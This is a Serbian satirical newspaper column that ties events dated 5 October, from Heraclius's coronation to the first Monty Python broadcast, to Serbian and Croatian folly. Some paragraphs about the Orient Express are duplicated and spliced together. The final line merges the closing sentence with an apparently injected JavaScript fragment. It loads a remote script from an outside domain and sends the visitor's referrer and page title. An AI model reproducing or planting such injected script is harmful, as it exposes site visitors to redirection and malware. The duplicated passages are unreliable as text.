KOLUMNA, IVAN RADOVANOVIĆ: Leteći cirkus

"A sada nešto potpuno drugačije", pojavilo se na BBC, i počeo je "Leteći cirkus Montija Pajtona". Za nas napravljeno, od samog početka. Blesavo, kao mi i Hrvati. Legendarna stvar, kakva se više nigde nije pojavila, osim kod nas, u svakodnevici 

Dakle, kada govorimo o tom danu, hajde bar da budemo pošteni. Mislim, po čemu je on važan? Šta se to toliko značajno tada dogodilo?

Ne znate? Pa, evo redom.

Prvo je 610. godine u Carigradu, u crkvi Presvete mudrosti, koju mi zovemo Aja Sofija, za cara krunisan Iraklije. I nije on bio tek samo jedan od silnih i mnogobrojnih vizantijskih vladara, ni slučajno. On vam je, na neki način, naš tata.

Gotovo u bukvalnom smislu te reči, i to od onih očeva nad kojima se stalno zapitkujemo, sasvim iskreno, da li je trebalo da nas pravi ili ne. Šta mu je to trebalo, a i kako je sve to izveo, pa smo ovakvi ispali.

Ne znam, ali istorija kaže da je upravo Iraklije, pobedivši Avare, načinio tu stvar, glupu verovatno, i dozvolio sitnim slovenskim plemenima - a zvali su se Srbi i Hrvati - da dođu na Balkan i nasele Dalmaciju.

Pa vi vidite. Odakle je sve krenulo. Usvojiš ih, daš im imanje, a oni, kao sva braća, krenu da se glože. Daj mi ovo, daj ti meni ono, ovo je moje, e baš nije, i tako, unedogled.

Iraklije kriv, niko drugi. Bar da je između neku ogradu podigao, da se ne gledamo, ili rov neki da je napravio, pa napunio vodom, na bilo koji način da nas je odvojio, a ne ovako, svi zajedno, pa udri. Brat na brata.

Pa vi vidite. Da nam se samo to desilo na taj dan, bilo bi više nego dosta, a nije.
Recimo, baš tog dana, 1883. godine počeo da saobraća, radi, vozi - Orijent ekspres.

No, ne lezi vraže, izgradismo i mi prugu, pa je Orijent ekspres od 1889. godine tutnjao i preko nas.  Osetila je to i Agata Kristi, pa i jedan leš podmetnula na našu deonicu Orijent ekspresa, i ništa. Herkul Poaro rekao ko je kriv, i otišao. Kao da to nismo znali i sami

I sve bi to bilo super, lepo nas je ta pruga zaobilazila, išli ljudi na istok preko Mađarske, Rumunije i Bugarske, što je, ako mene pitate, sasvim prirodno i trebalo je tako i da ostane. Zauvek.

No, ne lezi vraže, izgradismo i mi prugu, i to, gde drugde, nego na istok, pa je Orijent ekspres od 1889. godine tutnjao i preko nas. I tutnji i danas, kada vam kažem, iako se tako ne zove. Pruge furaju na istok, sve ruskim parama. I kreditima, koje ćemo tek da vraćamo.

Osetila je to i Agata Kristi, pa i jedan leš podmetnula na našu deonicu Orijent ekspresa, i ništa. Herkul Poaro rekao ko je kriv, i otišao. Kao da to nismo znali i sami.

A sumanutost sa ovim danom nastavila. Rodio se u taj dan, na primer, još pre Orijent ekspresa, godine 1864. Luj Limijer. Jedan od one braće što su prve filmove napravili. I to se jedan zvao "Ulazak voza u stanicu", a drugi "Izlazak radnika iz fabrike".

I usrećiše nas. Shvatili mi da postoje filmovi, pa krenuli da ih vrtimo po svojim ludim glavama, da ih množimo, da čekamo neke tuđe vozove, da nas odvedu odavde, i da izlazimo iz fabrika, masovno. I niko nam za to nije kriv. Više mi volimo da motamo filmove, nego da radimo. A voz, ako dođe - dođe. Sutra čekamo novi.
Dan i voz. A kada je o ovom danu reč, zajebao nas je, da vam ja kažem, i 1962. kada su naslednici onog Luja Limijera snimili film "Dr No", prvi iz serije o Džejmsu Bondu, što je nama bio još samo jedan povod za nove pokretne slike u našim ludim glavama. Koliko smo špijuna od tada izmislili, i uhvatili, ni Bog više ne zna. I još vršljaju. Mamu im njihovu.

No, ni to nije ništa. Posle su i oni sladunjavi "Bitlsi", pre "Rolingstonsa", na taj dan objavili svoj prvi singl, ono "Love Me Do", i zauvek me iznervirali. Ričards i Džeger morali su da budu prvi.

Besmislica. Beznačajna. Zato što se najveći događaj, kada je o nama reč, desio, ipak, na taj dan 1969. godine, i to usred Londona.

"A sada nešto potpuno drugačije", pojavilo se na ekranima, na BBC kanalu, i počeo je "Leteći cirkus Montija Pajtona".

Za nas napravljeno, od samog početka. Prvo se skupila grupa momaka sa Oksforda i Kembridža, uletela u BBC, lutala hodnicima, zezala se i, na kraju, napravila to. Leteći cirkus, koji je ime dobio tako što je spojen nadimak čuvenog britanskog generala iz Drugog svetskog rata Montgomerija - Monti, i naziv nemačke eskadrile kojom je, u Prvom svetskom ratu, komandovao čuveni Crveni baron - Manfred fon Rihthofen.

Blesavo, kao mi i Hrvati. I kao da je Iraklije lično režirao. Leteći cirkus. Legendarna stvar, kakva se više nigde nije pojavila, osim kod nas, u svakodnevici. U kojoj mi, svaki zakucan za svoj krst, pevušimo ono - "Always Look on the Bright Side of Life". Uvek gledaj na vedru stranu života, u prevodu.

Zato što je to jedini način da opstaneš, na ovim prostorima, kada dođe taj dan. Oktobar broj pet. Onaj o kom toliko trućamo, svake godine. Kao da je važan. U ovom letećem cirkusu.

Koji je smislio onaj Irakjlije, onog 5. oktobra koji smo zaboravili. A nismo smeli.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';